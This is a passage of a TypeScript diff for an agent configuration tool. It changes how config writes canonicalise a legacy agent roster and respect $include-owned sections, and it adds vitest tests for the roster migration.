params.explicitPresent && Array.isArray(params.explicit)) { + return { present: true, value: cloneUnknown(params.explicit) }; + } + const authored = Array.isArray(params.authored) ? params.authored : []; + const explicit = Array.isArray(params.explicit) ? params.explicit : []; + const runtime = Array.isArray(params.runtime) ? params.runtime : []; + const source = Array.isArray(params.source) ? params.source : []; + const usedRuntimeIndexes = new Set(); + const usedSourceIndexes = new Set(); + const findMatchingIndex = ( + values: unknown[], + used: Set, + nextValue: unknown, + preferredIndex: number, + ): number | undefined => { + if ( + preferredIndex < values.length && + !used.has(preferredIndex) && + isDeepStrictEqual(values[preferredIndex], nextValue) + ) { + return preferredIndex; + } + const index = values.findIndex( + (value, candidate) => !used.has(candidate) && isDeepStrictEqual(value, nextValue), + ); + return index >= 0 ? index : undefined; + }; + return { + present: true, + value: params.next.map((nextValue, index) => { + const runtimeIndex = findMatchingIndex(runtime, usedRuntimeIndexes, nextValue, index); + if (runtimeIndex !== undefined) { + usedRuntimeIndexes.add(runtimeIndex); + } + const sourceIndex = findMatchingIndex(source, usedSourceIndexes, nextValue, index); + if (sourceIndex !== undefined) { + usedSourceIndexes.add(sourceIndex); + } + const fallbackIndexAvailable = + !usedRuntimeIndexes.has(index) && !usedSourceIndexes.has(index); + const authoredIndex = + runtimeIndex ?? sourceIndex ?? (fallbackIndexAvailable ? index : undefined); + const projected = projectAuthoredRosterValue({ + authored: authoredIndex === undefined ? undefined : authored[authoredIndex], + authoredPresent: authoredIndex !== undefined && authoredIndex < authored.length, + explicit: explicit[index], + explicitPresent: index < explicit.length, + explicitPaths: params.explicitPaths, + path: [...params.path, String(index)], + runtime: + runtimeIndex === undefined + ? fallbackIndexAvailable + ? runtime[index] + : undefined + : runtime[runtimeIndex], + runtimePresent: + runtimeIndex !== undefined || (fallbackIndexAvailable && index < runtime.length), + source: + sourceIndex === undefined + ? fallbackIndexAvailable + ? source[index] + : undefined + : source[sourceIndex], + sourcePresent: + sourceIndex !== undefined || (fallbackIndexAvailable && index < source.length), + next: nextValue, + nextPresent: true, + }); + return projected.present ? projected.value : nextValue; + }), + }; + } + if (explicitlySet && params.explicitPresent) { + return { present: true, value: cloneUnknown(params.explicit) }; + } + const unchangedFromRuntime = + params.runtimePresent && isDeepStrictEqual(params.runtime, params.next); + const unchangedFromSource = params.sourcePresent && isDeepStrictEqual(params.source, params.next); + return { + present: true, + value: + params.authoredPresent && (unchangedFromRuntime || unchangedFromSource) + ? cloneUnknown(params.authored) + : cloneUnknown(params.next), + }; +} + +function canonicalizeAgentRosterForExplicitWrite(params: { + valueSource: unknown; + rootAuthoredConfig: unknown; + runtimeConfig: unknown; + sourceConfig: unknown; + sourceConfigBeforeMigrations?: unknown; + nextConfig: unknown; + explicitSetPaths?: readonly (readonly string[])[]; + unsetPaths?: readonly (readonly string[])[]; +}): unknown { + const authoredRoster = readAgentRosterProperty(params.rootAuthoredConfig); + const preMigrationRoster = readAgentRosterProperty(params.sourceConfigBeforeMigrations); + const resolvedLegacyList = + preMigrationRoster?.kind === "list" && Array.isArray(preMigrationRoster.value) + ? preMigrationRoster.value + : undefined; + const authoredEntries = + authoredRoster?.kind === "list" && Array.isArray(authoredRoster.value) + ? Object.fromEntries( + authoredRoster.value.flatMap((entry, index) => { + if (!isRecord(entry)) { + return []; + } + const resolvedEntry = resolvedLegacyList?.[index]; + const resolvedId = isRecord(resolvedEntry) ? resolvedEntry.id : undefined; + const id = typeof resolvedId === "string" ? resolvedId : entry.id; + if (typeof id !== "string") { + return []; + } + const { id: _authoredId, ...config } = entry; + return [[id, config]]; + }), + ) + : (toAgentEntriesRecord( + listAgentEntries(params.rootAuthoredConfig as OpenClawConfig), + ) as Record); + const runtimeEntries = toAgentEntriesRecord( + listAgentEntries(params.runtimeConfig as OpenClawConfig), + ) as Record; + const sourceEntries = toAgentEntriesRecord( + listAgentEntries(params.sourceConfig as OpenClawConfig), + ) as Record; + const nextEntries = toAgentEntriesRecord( + listAgentEntries(params.nextConfig as OpenClawConfig), + ) as Record; + const explicitRoster = readAgentRosterProperty(params.valueSource); + const renamedLegacyIndexes = new Set( + (params.explicitSetPaths ?? []).flatMap((path) => { + if (path[0] !== "agents" || path[1] !== "list" || path.length !== 4 || path[3] !== "id") { + return []; + } + const index = parseArrayIndexPathSegment(path[2] ?? ""); + return index === undefined ? [] : [index]; + }), + ); + const structurallyExplicitLegacyIndexes = new Set(renamedLegacyIndexes); + for (const path of params.explicitSetPaths ?? []) { + if (path[0] !== "agents" || path[1] !== "list") { + continue; + } + if ( + path.length === 2 && + explicitRoster?.kind === "list" && + Array.isArray(explicitRoster.value) + ) { + explicitRoster.value.forEach((_entry, index) => structurallyExplicitLegacyIndexes.add(index)); + continue; + } + if (path.length === 3) { + const index = parseArrayIndexPathSegment(path[2] ?? ""); + if (index !== undefined) { + structurallyExplicitLegacyIndexes.add(index); + } + } + } + for (const index of renamedLegacyIndexes) { + const entry = + explicitRoster?.kind === "list" && Array.isArray(explicitRoster.value) + ? explicitRoster.value[index] + : undefined; + if (isRecord(entry) && typeof entry.id === "string" && entry.id.includes("${")) { + throw new Error( + "Config write cannot safely resolve an env-backed renamed agent id; set the resolved literal id or rename the authored entry directly.", + ); + } + } + const resolveExplicitLegacyEntryId = (entry: Record, index: number) => { + const explicitId = entry.id; + if (typeof explicitId !== "string") { + return undefined; + } + if (renamedLegacyIndexes.has(index) || Object.hasOwn(nextEntries, explicitId)) { + return explicitId; + } + if (authoredRoster?.kind === "list" && Array.isArray(authoredRoster.value)) { + const authoredIndex = authoredRoster.value.findIndex( + (authoredEntry) => isRecord(authoredEntry) && authoredEntry.id === explicitId, + ); + const resolvedEntry = authoredIndex < 0 ? undefined : resolvedLegacyList?.[authoredIndex]; + if (isRecord(resolvedEntry) && typeof resolvedEntry.id === "string") { + return resolvedEntry.id; + } + } + return explicitId.includes("${") ? undefined : explicitId; + }; + if (explicitRoster?.kind === "list" && Array.isArray(explicitRoster.value)) { + const normalizedIds = new Set(); + for (const [index, entry] of explicitRoster.value.entries()) { + if (!isRecord(entry)) { + continue; + } + const resolvedId = resolveExplicitLegacyEntryId(entry, index); + if (resolvedId === undefined) { + continue; + } + const agentId = normalizeAgentId(resolvedId); + if (normalizedIds.has(agentId)) { + throw new DuplicateAgentRosterIdError(agentId); + } + normalizedIds.add(agentId); + } + } + const explicitEntries = + explicitRoster?.kind === "list" && Array.isArray(explicitRoster.value) + ? Object.fromEntries( + explicitRoster.value.flatMap((entry, index) => { + if (!isRecord(entry)) { + return []; + } + const resolvedEntry = resolvedLegacyList?.[index]; + const resolvedId = isRecord(resolvedEntry) ? resolvedEntry.id : undefined; + const id = structurallyExplicitLegacyIndexes.has(index) + ? resolveExplicitLegacyEntryId(entry, index) + : typeof resolvedId === "string" + ? resolvedId + : entry.id; + if (typeof id !== "string") { + if (structurallyExplicitLegacyIndexes.has(index) && typeof entry.id === "string") { + throw new UnresolvedAgentRosterIdError(entry.id); + } + return []; + } + const { id: _explicitId, ...config } = entry; + return [[id, config]]; + }), + ) + : (toAgentEntriesRecord(listAgentEntries(params.valueSource as OpenClawConfig)) as Record< + string, + unknown + >); + const explicitPaths = (params.explicitSetPaths ?? []).flatMap((path) => { + if (path[0] !== "agents") { + return []; + } + if (path.length === 1) { + return [[]]; + } + if (path[1] === "entries") { + return [path.slice(2)]; + } + if (path[1] !== "list") { + return []; + } + if (path.length === 2) { + return [[]]; + } + const index = parseArrayIndexPathSegment(path[2] ?? ""); + const authoredEntry = + authoredRoster?.kind === "list" && Array.isArray(authoredRoster.value) && index !== undefined + ? authoredRoster.value[index] + : undefined; + const explicitEntry = + explicitRoster?.kind === "list" && Array.isArray(explicitRoster.value) && index !== undefined + ? explicitRoster.value[index] + : undefined; + const resolvedEntry = index === undefined ? undefined : resolvedLegacyList?.[index]; + const usesExplicitId = + index !== undefined && + (renamedLegacyIndexes.has(index) || + (path.length === 3 && structurallyExplicitLegacyIndexes.has(index))); + const id = + usesExplicitId && isRecord(explicitEntry) + ? explicitEntry.id + : isRecord(resolvedEntry) && typeof resolvedEntry.id === "string" + ? resolvedEntry.id + : isRecord(authoredEntry) + ? authoredEntry.id + : undefined; + return typeof id === "string" ? [[id, ...path.slice(3)]] : []; + }); + const entryIdentityByNextId = new Map(); + for (const id of Object.keys(nextEntries)) { + if (Object.hasOwn(runtimeEntries, id) || Object.hasOwn(sourceEntries, id)) { + entryIdentityByNextId.set(id, id); + } + } + if ( + authoredRoster?.kind === "list" && + Array.isArray(authoredRoster.value) && + explicitRoster?.kind === "list" && + Array.isArray(explicitRoster.value) + ) { + for (const path of params.explicitSetPaths ?? []) { + if (path[0] !== "agents" || path[1] !== "list" || path.length !== 4 || path[3] !== "id") { + continue; + } + const index = parseArrayIndexPathSegment(path[2] ?? ""); + const authoredEntry = index === undefined ? undefined : authoredRoster.value[index]; + const explicitEntry = index === undefined ? undefined : explicitRoster.value[index]; + const resolvedEntry = index === undefined ? undefined : resolvedLegacyList?.[index]; + const oldId = isRecord(resolvedEntry) + ? resolvedEntry.id + : isRecord(authoredEntry) + ? authoredEntry.id + : undefined; + const nextId = isRecord(explicitEntry) ? explicitEntry.id : undefined; + if (typeof oldId === "string" && typeof nextId === "string") { + entryIdentityByNextId.set(nextId, oldId); + } + } + } + const priorIds = new Set([...Object.keys(runtimeEntries), ...Object.keys(sourceEntries)]); + const removedIds = [...priorIds].filter((id) => !Object.hasOwn(nextEntries, id)); + const addedIds = Object.keys(nextEntries).filter((id) => !priorIds.has(id)); + const claimedPriorIds = new Set(entryIdentityByNextId.values()); + for (const nextId of addedIds) { + if (entryIdentityByNextId.has(nextId)) { + continue; + } + const candidates = removedIds.filter( + (oldId) => + !claimedPriorIds.has(oldId) && + (isDeepStrictEqual(nextEntries[nextId], runtimeEntries[oldId]) || + isDeepStrictEqual(nextEntries[nextId], sourceEntries[oldId])), + ); + if (candidates.length === 1) { + const oldId = candidates[0]!; + entryIdentityByNextId.set(nextId, oldId); + claimedPriorIds.add(oldId); + } + } + const ambiguousAddedIds = addedIds.filter((id) => !entryIdentityByNextId.has(id)); + const ambiguousRemovedIds = removedIds.filter((id) => !claimedPriorIds.has(id)); + if ( + ambiguousAddedIds.length > 0 && + ambiguousRemovedIds.some((id) => containsAuthoredRosterReference(authoredEntries[id])) + ) { + throw new Error( + "Config write cannot safely match renamed agent entries with authored references; rename agents one at a time.", + ); + } + let entries: unknown = Object.fromEntries( + Object.entries(nextEntries).map(([id, nextEntry]) => { + const priorId = entryIdentityByNextId.get(id) ?? id; + const projected = projectAuthoredRosterValue({ + authored: authoredEntries[priorId], + authoredPresent: Object.hasOwn(authoredEntries, priorId), + explicit: explicitEntries[id], + explicitPresent: Object.hasOwn(explicitEntries, id), + explicitPaths, + path: [id], + runtime: runtimeEntries[priorId], + runtimePresent: Object.hasOwn(runtimeEntries, priorId), + source: sourceEntries[priorId], + sourcePresent: Object.hasOwn(sourceEntries, priorId), + next: nextEntry, + nextPresent: true, + }); + const value = projected.present ? projected.value : nextEntry; + if (isRecord(value) && isRecord(nextEntry)) { + if (Object.hasOwn(nextEntry, "default")) { + const preservesAuthoredReference = + Object.hasOwn(value, "default") && + containsAuthoredRosterReference(value.default) && + ((Object.hasOwn(runtimeEntries, priorId) && + isRecord(runtimeEntries[priorId]) && + isDeepStrictEqual(runtimeEntries[priorId].default, nextEntry.default)) || + (Object.hasOwn(sourceEntries, priorId) && + isRecord(sourceEntries[priorId]) && + isDeepStrictEqual(sourceEntries[priorId].default, nextEntry.default))); + if (!preservesAuthoredReference) { + value.default = cloneUnknown(nextEntry.default); + } + } else { + delete value.default; + } + } + return [id, value]; + }), + ); + if (authoredRoster?.kind === "list" && Array.isArray(authoredRoster.value)) { + const authoredList = authoredRoster.value; + const nextIdByPriorId = new Map( + [...entryIdentityByNextId].map(([nextId, priorId]) => [priorId, nextId]), + ); + const resolveExplicitLegacyIdCandidate = (index: number): string | undefined => { + if (explicitRoster?.kind !== "list" || !Array.isArray(explicitRoster.value)) { + return undefined; + } + const explicitEntry = explicitRoster.value[index]; + if (!isRecord(explicitEntry)) { + return undefined; + } + const id = resolveExplicitLegacyEntryId(explicitEntry, index); + return id === undefined ? undefined : normalizeAgentId(id); + }; + const resolveExplicitLegacyId = (index: number): string => { + const resolvedId = resolveExplicitLegacyIdCandidate(index); + if (!resolvedId || explicitRoster?.kind !== "list" || !Array.isArray(explicitRoster.value)) { + throw new Error( + "Config write cannot safely resolve an explicitly replaced agent list slot for unset.", + ); + } + for (const [candidateIndex] of explicitRoster.value.entries()) { + if (candidateIndex === index) { + continue; + } + const candidateId = resolveExplicitLegacyIdCandidate(candidateIndex); + if (!candidateId) { + throw new Error( + "Config write cannot safely resolve every explicit agent id across an indexed list unset.", + ); + } + if (candidateId === resolvedId) { + throw new Error( + "Config write cannot safely resolve duplicate agent ids across an indexed list unset.", + ); + } + } + return resolvedId; + }; + for (const unsetPath of params.unsetPaths ?? []) { + if (unsetPath[0] !== "agents" || unsetPath[1] !== "list") { + continue; + } + if (unsetPath.length === 2) { + entries = undefined; + break; + } + if (unsetPath.length === 4 && unsetPath[3] === "id") { + throw new Error( + "Config write cannot unset an agent id; delete the complete roster entry instead.", + ); + } + const index = parseArrayIndexPathSegment(unsetPath[2] ?? ""); + const authoredEntry = index === undefined ? undefined : authoredList[index]; + const resolvedEntry = index === undefined ? undefined : resolvedLegacyList?.[index]; + const usesExplicitIdentity = + index !== undefined && structurallyExplicitLegacyIndexes.has(index); + const explicitResolvedId = + usesExplicitIdentity && index !== undefined ? resolveExplicitLegacyId(index) : undefined; + const id = + explicitResolvedId !== undefined + ? explicitResolvedId + : isRecord(resolvedEntry) + ? resolvedEntry.id + : isRecord(authoredEntry) + ? authoredEntry.id + : undefined; + if (typeof id !== "string") { + continue; + } + const targetId = explicitResolvedId !== undefined ? id : (nextIdByPriorId.get(id) ?? id); + entries = deletePathValue(entries, [targetId, ...unsetPath.slice(3)]); + } + } + const withoutLegacyList = deletePathValue(params.valueSource, ["agents", "list"]); + return entries === undefined + ? deletePathValue(withoutLegacyList, ["agents", "entries"]) + : setPathValueCreatingParents(withoutLegacyList, ["agents", "entries"], entries); +} + +function restoreAuthoredAgentRoster(value: unknown, rootAuthoredConfig: unknown): unknown { + let next = deletePathValue(value, ["agents", "entries"]); + next = deletePathValue(next, ["agents", "list"]); + const authoredRoster = readAgentRosterProperty(rootAuthoredConfig); + return authoredRoster + ? setPathValueCreatingParents( + next, + ["agents", authoredRoster.kind], + cloneUnknown(authoredRoster.value), + ) + : next; +} + +function projectAuthoredAgentRosterForCanonicalIncludes(params: { + rootAuthoredConfig: unknown; + sourceConfigBeforeMigrations?: unknown; +}): unknown { + const authoredRoster = readAgentRosterProperty(params.rootAuthoredConfig); + if (authoredRoster?.kind !== "list" || !Array.isArray(authoredRoster.value)) { + return params.rootAuthoredConfig; + } + const preMigrationRoster = readAgentRosterProperty(params.sourceConfigBeforeMigrations); + const resolvedLegacyList = + preMigrationRoster?.kind === "list" && Array.isArray(preMigrationRoster.value) + ? preMigrationRoster.value + : undefined; + const entries = Object.fromEntries( + authoredRoster.value.flatMap((entry, index) => { + if (!isRecord(entry)) { + return []; + } + const resolvedEntry = resolvedLegacyList?.[index]; + const resolvedId = isRecord(resolvedEntry) ? resolvedEntry.id : undefined; + const id = typeof resolvedId === "string" ? resolvedId : entry.id; + if (typeof id !== "string") { + return []; + } + const { id: _authoredId, ...config } = entry; + return [[normalizeAgentId(id), config]]; + }), + ); + const withoutLegacyRoster = deletePathValue( + deletePathValue(params.rootAuthoredConfig, ["agents", "list"]), + ["agents", "entries"], + ); + return setPathValueCreatingParents(withoutLegacyRoster, ["agents", "entries"], entries); +} + +export function resolvePersistCandidateForWrite(params: { + runtimeConfig: unknown; + sourceConfig: unknown; + sourceConfigBeforeMigrations?: unknown; + nextConfig: unknown; rootAuthoredConfig?: unknown; + agentRosterIncludeOwned?: boolean; unsetPaths?: readonly string[][]; explicitSetPaths?: readonly (readonly string[])[]; explicitSetValueSource?: unknown; + allowIncludeAncestorExplicitSetPaths?: boolean; modelIdNormalizationPolicies?: ReadonlyMap; }): unknown { const patch = createMergePatch(params.runtimeConfig, params.nextConfig); const projectedSource = projectSourceOntoRuntimeShape(params.sourceConfig, params.runtimeConfig); const rootAuthoredConfig = params.rootAuthoredConfig ?? params.sourceConfig; - const persistedBase = preserveUntouchedIncludes({ + const persistCanonicalRoster = shouldPersistCanonicalAgentRoster(params); + const includeOwnsRoster = + persistCanonicalRoster && + configIncludeOwnsAgentRosterValues({ + parsed: rootAuthoredConfig, + sourceConfigBeforeMigrations: params.sourceConfigBeforeMigrations ?? params.sourceConfig, + includeContributesRoster: params.agentRosterIncludeOwned, + }); + if (includeOwnsRoster) { + // Canonical roster writes replace the whole roster atomically. Any included contribution + // therefore owns this boundary; flattening only its root-authored siblings is not safe. + throw new Error( + "Config write would flatten $include-owned config at agents; edit that include file directly or remove the $include first.", + ); + } + const projectedAuthoredRoster = persistCanonicalRoster + ? projectAuthoredAgentRosterForCanonicalIncludes({ + rootAuthoredConfig, + sourceConfigBeforeMigrations: params.sourceConfigBeforeMigrations, + }) + : rootAuthoredConfig; + const includeProjectionRootAuthoredConfig = + persistCanonicalRoster && !hasAgentRosterProperty(projectedAuthoredRoster) + ? setPathValueCreatingParents( + projectedAuthoredRoster, + ["agents", "entries"], + toAgentEntriesRecord(listAgentEntries(params.sourceConfig as OpenClawConfig)), + ) + : projectedAuthoredRoster; + let persistedBase = preserveUntouchedIncludes({ runtimeConfig: params.runtimeConfig, sourceConfig: params.sourceConfig, nextConfig: params.nextConfig, - rootAuthoredConfig, + rootAuthoredConfig: includeProjectionRootAuthoredConfig, persistedCandidate: applyMergePatch(projectedSource, patch), }); + const explicitSetPaths = persistCanonicalRoster + ? [ + ...(params.explicitSetPaths ?? []).filter((path) => !pathTargetsAgentRoster(path)), + ["agents", "entries"], + ] + : params.explicitSetPaths; + const explicitSetValueSource = persistCanonicalRoster + ? canonicalizeAgentRosterForExplicitWrite({ + valueSource: params.explicitSetValueSource ?? params.nextConfig, + rootAuthoredConfig, + runtimeConfig: params.runtimeConfig, + sourceConfig: params.sourceConfig, + sourceConfigBeforeMigrations: params.sourceConfigBeforeMigrations, + nextConfig: params.nextConfig, + explicitSetPaths: params.explicitSetPaths, + unsetPaths: params.unsetPaths, + }) + : (params.explicitSetValueSource ?? params.nextConfig); + if (persistCanonicalRoster) { + persistedBase = deletePathValue(persistedBase, ["agents", "entries"]); + persistedBase = deletePathValue(persistedBase, ["agents", "list"]); + } else if (canCanonicalizeAgentRoster(params.nextConfig)) { + persistedBase = restoreAuthoredAgentRoster(persistedBase, rootAuthoredConfig); + } const persisted = injectExplicitlySetPaths({ - valueSource: params.explicitSetValueSource ?? params.nextConfig, + valueSource: explicitSetValueSource, persistedCandidate: persistedBase, - explicitSetPaths: params.explicitSetPaths, - rootAuthoredConfig, + explicitSetPaths, + rootAuthoredConfig: includeProjectionRootAuthoredConfig, + // This only postpones descendant include validation: the preservation pass below + // compares next against source/runtime and still rejects every changed include subtree. + preserveDescendantIncludes: persistCanonicalRoster, + allowIncludeAncestorExplicitSetPaths: params.allowIncludeAncestorExplicitSetPaths, }); + const withPreservedIncludes = persistCanonicalRoster + ? preserveUntouchedIncludes({ + runtimeConfig: params.runtimeConfig, + sourceConfig: params.sourceConfig, + nextConfig: params.nextConfig, + rootAuthoredConfig: includeProjectionRootAuthoredConfig, + persistedCandidate: persisted, + }) + : persisted; const withSchema = preserveRootSchemaUri({ rootAuthoredConfig, nextConfig: params.nextConfig, - persistedCandidate: persisted, + persistedCandidate: withPreservedIncludes, }); const withAuthoredParams = preserveAuthoredAgentParams({ sourceConfig: params.sourceConfig, diff --git a/src/config/io.write.ts b/src/config/io.write.ts index 984db1744ed0..eb3caff6030c 100644 --- a/src/config/io.write.ts +++ b/src/config/io.write.ts @@ -13,7 +13,7 @@ import { upsertConfigSnapshotAuditRecord, } from "./config-journal-snapshot.js"; import { EnvRefArrayMutationError, restoreEnvVarRefs } from "./env-preserve.js"; -import { readConfigIncludeFileWithGuards, resolveConfigIncludes } from "./includes.js"; +import { INCLUDE_KEY, readConfigIncludeFileWithGuards, resolveConfigIncludes } from "./includes.js"; import { appendConfigAuditRecord, capConfigAuditIssues, @@ -72,6 +72,27 @@ import { preflightRuntimeSnapshotWrite } from "./runtime-snapshot.js"; import type { OpenClawConfig } from "./types.js"; import { validateConfigObjectRawWithPlugins } from "./validation.js"; +function hasOwnIncludeDirective(value: unknown): value is Record { + return value !== null && typeof value === "object" && Object.hasOwn(value, INCLUDE_KEY); +} + +function hasIncludedGatewayModeOwner(value: unknown): boolean { + if (hasOwnIncludeDirective(value)) { + return true; + } + if (value === null || typeof value !== "object" || Array.isArray(value)) { + return false; + } + const gateway = (value as Record).gateway; + if (hasOwnIncludeDirective(gateway)) { + return true; + } + if (gateway === null || typeof gateway !== "object" || Array.isArray(gateway)) { + return false; + } + return hasOwnIncludeDirective((gateway as Record).mode); +} + export async function writeConfigFileFromContext( context: ConfigIoContext, cfg: OpenClawConfig, @@ -106,15 +127,20 @@ export async function writeConfigFileFromContext( const hasAuthoredIncludes = containsConfigIncludeDirective(snapshot.parsed); const hasResolvedAuthoredIncludes = hasAuthoredIncludes && !containsConfigIncludeDirective(snapshot.sourceConfig); - if (snapshot.valid && snapshot.exists) { + // Missing snapshots still need runtime-to-authored projection. Callers authoring an + // exact bootstrap roster mark that intent through explicitSetPaths. + if (snapshot.valid) { persistCandidate = resolvePersistCandidateForWrite({ runtimeConfig: snapshot.config, sourceConfig: snapshot.resolved, + sourceConfigBeforeMigrations: snapshot.sourceConfigBeforeMigrations, nextConfig: cfg, rootAuthoredConfig: snapshot.parsed, + agentRosterIncludeOwned: snapshot.includeProvenance?.agentRoster, unsetPaths, explicitSetPaths: options.explicitSetPaths, explicitSetValueSource: options.explicitSetValueSource, + allowIncludeAncestorExplicitSetPaths: options.allowIncludeAncestorExplicitSetPaths, modelIdNormalizationPolicies: resolveModelIdNormalizationPolicies( snapshotRead.pluginMetadataSnapshot, ), @@ -245,7 +271,29 @@ export async function writeConfigFileFromContext( const hasMetaBefore = hasConfigMeta(snapshot.parsed); const hasMetaAfter = hasConfigMeta(stampedOutputConfig); const gatewayModeBefore = resolveGatewayMode(snapshot.resolved); - const gatewayModeAfter = resolveGatewayMode(stampedOutputConfig); + const authoredGateway = (snapshot.parsed as { gateway?: unknown }).gateway; + const authoredGatewayMode = + authoredGateway !== null && + typeof authoredGateway === "object" && + !Array.isArray(authoredGateway) + ? (authoredGateway as Record).mode + : undefined; + const gatewayModeAuthoredLocally = + authoredGateway !== null && + typeof authoredGateway === "object" && + !Array.isArray(authoredGateway) && + Object.hasOwn(authoredGateway, "mode") && + !hasOwnIncludeDirective(authoredGatewayMode); + const preservesIncludedGatewayMode = + options.allowIncludeAncestorExplicitSetPaths === true && + gatewayModeBefore != null && + !gatewayModeAuthoredLocally && + hasIncludedGatewayModeOwner(stampedOutputConfig) && + !options.explicitSetPaths?.some((explicitPath) => explicitPath[0] === "gateway"); + const gatewayModeAfter = + resolveGatewayMode(stampedOutputConfig) ?? + (preservesIncludedGatewayMode ? gatewayModeBefore : null) ?? + null; const suspiciousReasons = resolveConfigWriteSuspiciousReasons({ existsBefore: snapshot.exists, unreadableBefore: snapshot.readError != null, diff --git a/src/config/legacy.roster.test.ts b/src/config/legacy.roster.test.ts new file mode 100644 index 000000000000..272564820420 --- /dev/null +++ b/src/config/legacy.roster.test.ts @@ -0,0 +1,408 @@ +import fs from "node:fs/promises"; +import path from "node:path"; +import { withTempHome } from "openclaw/plugin-sdk/test-env"; +import { describe, expect, it } from "vitest"; +import { configIncludeOwnsAgentRoster } from "./agent-roster-provenance.js"; +import { readConfigFileSnapshot, resetConfigRuntimeState } from "./config.js"; +import { migratePersistedImplicitMainRoster } from "./legacy.js"; +import { validateConfigObjectRaw } from "./validation.js"; + +describe("persisted implicit-main roster migration", () => { + it("normalizes a commented pre-roster config in memory without rewriting it", async () => { + await withTempHome(async (home) => { + const configPath = path.join(home, ".openclaw", "openclaw.json"); + await fs.mkdir(path.dirname(configPath), { recursive: true }); + const raw = `// operator comment\n{ gateway: { mode: "local" } }\n`; + await fs.writeFile(configPath, raw); + resetConfigRuntimeState(); + + const snapshot = await readConfigFileSnapshot(); + + expect(snapshot.sourceConfig.agents?.entries).toEqual({ main: { default: true } }); + expect(await fs.readFile(configPath, "utf8")).toBe(raw); + }); + }); + + it("injects main into the in-memory config when no file exists", async () => { + await withTempHome(async () => { + resetConfigRuntimeState(); + const snapshot = await readConfigFileSnapshot(); + expect(snapshot.exists).toBe(false); + expect(snapshot.sourceConfig.agents?.entries).toEqual({ main: { default: true } }); + }); + }); + + it("retains include-resolved roster provenance before migration", async () => { + await withTempHome(async (home) => { + const configDir = path.join(home, ".openclaw"); + const configPath = path.join(configDir, "openclaw.json"); + const includePath = path.join(configDir, "included.json"); + await fs.mkdir(configDir, { recursive: true }); + await fs.writeFile(configPath, JSON.stringify({ $include: "./included.json" })); + + await fs.writeFile( + includePath, + JSON.stringify({ channels: { telegram: { enabled: true } } }), + ); + resetConfigRuntimeState(); + const channelsSnapshot = await readConfigFileSnapshot(); + expect(channelsSnapshot.sourceConfigBeforeMigrations?.agents?.entries).toBeUndefined(); + expect(channelsSnapshot.sourceConfig.agents?.entries).toEqual({ main: { default: true } }); + + await fs.writeFile( + includePath, + JSON.stringify({ agents: { list: [{ id: "ops", default: true }] } }), + ); + resetConfigRuntimeState(); + const rosterSnapshot = await readConfigFileSnapshot(); + expect(rosterSnapshot.sourceConfigBeforeMigrations?.agents?.list).toEqual([ + { id: "ops", default: true }, + ]); + expect(rosterSnapshot.sourceConfig.agents?.entries).toEqual({ + ops: { default: true }, + }); + }); + }); + + it("tracks nested mixed roster includes at the entries boundary", async () => { + await withTempHome(async (home) => { + const configDir = path.join(home, ".openclaw"); + const configPath = path.join(configDir, "openclaw.json"); + await fs.mkdir(configDir, { recursive: true }); + await fs.writeFile( + configPath, + JSON.stringify({ + $include: "./base.json", + agents: { entries: { main: { default: true } } }, + }), + ); + await fs.writeFile( + path.join(configDir, "base.json"), + JSON.stringify({ agents: { entries: { $include: "./entries.json" } } }), + ); + await fs.writeFile(path.join(configDir, "entries.json"), JSON.stringify({ ops: {} })); + resetConfigRuntimeState(); + + const snapshot = await readConfigFileSnapshot(); + + expect(snapshot.sourceConfigBeforeMigrations?.agents?.entries).toEqual({ + main: { default: true }, + ops: {}, + }); + expect(configIncludeOwnsAgentRoster(snapshot)).toBe(true); + }); + }); + + it("keeps an unrelated ancestor include from owning a locally authored roster", async () => { + await withTempHome(async (home) => { + const configDir = path.join(home, ".openclaw"); + await fs.mkdir(configDir, { recursive: true }); + await fs.writeFile( + path.join(configDir, "openclaw.json"), + JSON.stringify({ + $include: "./channels.json", + agents: { entries: {} }, + }), + ); + await fs.writeFile( + path.join(configDir, "channels.json"), + JSON.stringify({ channels: { telegram: { enabled: true } } }), + ); + resetConfigRuntimeState(); + + const snapshot = await readConfigFileSnapshot(); + + expect(snapshot.includeProvenance?.agentRoster).toBe(false); + expect(configIncludeOwnsAgentRoster(snapshot)).toBe(false); + }); + }); + + it("records an identical ancestor roster contribution as include-owned", async () => { + await withTempHome(async (home) => { + const configDir = path.join(home, ".openclaw"); + const entries = { main: { default: true } }; + await fs.mkdir(configDir, { recursive: true }); + await fs.writeFile( + path.join(configDir, "openclaw.json"), + JSON.stringify({ $include: "./base.json", agents: { entries } }), + ); + await fs.writeFile( + path.join(configDir, "base.json"), + JSON.stringify({ agents: { entries } }), + ); + resetConfigRuntimeState(); + + const snapshot = await readConfigFileSnapshot(); + + expect(snapshot.includeProvenance?.agentRoster).toBe(true); + expect(configIncludeOwnsAgentRoster(snapshot)).toBe(true); + }); + }); + + it("keeps an entry-internal identity include locally roster-owned", async () => { + await withTempHome(async (home) => { + const configDir = path.join(home, ".openclaw"); + await fs.mkdir(configDir, { recursive: true }); + await fs.writeFile( + path.join(configDir, "openclaw.json"), + JSON.stringify({ + agents: { + entries: { + main: { + default: true, + identity: { $include: "./identity.json" }, + }, + }, + }, + }), + ); + await fs.writeFile(path.join(configDir, "identity.json"), JSON.stringify({ name: "Main" })); + resetConfigRuntimeState(); + + const snapshot = await readConfigFileSnapshot(); + + expect(snapshot.includeProvenance?.agentRoster).toBe(false); + expect(configIncludeOwnsAgentRoster(snapshot)).toBe(false); + }); + }); + + it("records a legacy list id include as roster-owned", async () => { + await withTempHome(async (home) => { + const configDir = path.join(home, ".openclaw"); + await fs.mkdir(configDir, { recursive: true }); + await fs.writeFile( + path.join(configDir, "openclaw.json"), + JSON.stringify({ + agents: { + list: [{ id: { $include: "./agent-id.json" }, default: true }], + }, + }), + ); + await fs.writeFile(path.join(configDir, "agent-id.json"), JSON.stringify("10")); + resetConfigRuntimeState(); + + const snapshot = await readConfigFileSnapshot(); + + expect(snapshot.sourceConfigBeforeMigrations?.agents?.list?.[0]?.id).toBe("10"); + expect(snapshot.includeProvenance?.agentRoster).toBe(true); + expect(configIncludeOwnsAgentRoster(snapshot)).toBe(true); + }); + }); + + it("preserves malformed agents values for validation", () => { + expect(migratePersistedImplicitMainRoster({ agents: "invalid" })).toEqual({ + config: { agents: "invalid" }, + changed: false, + diagnostics: [], + }); + }); + + it("converts a legacy list roster before applying default normalization", () => { + expect( + migratePersistedImplicitMainRoster({ + agents: { + defaults: { workspace: "/srv/ops" }, + list: [ + { id: "ops", workspace: "/srv/ops" }, + { id: "writer", default: true }, + ], + }, + }), + ).toEqual({ + config: { + agents: { + defaults: { workspace: "/srv/ops" }, + entries: { + ops: { workspace: "/srv/ops" }, + 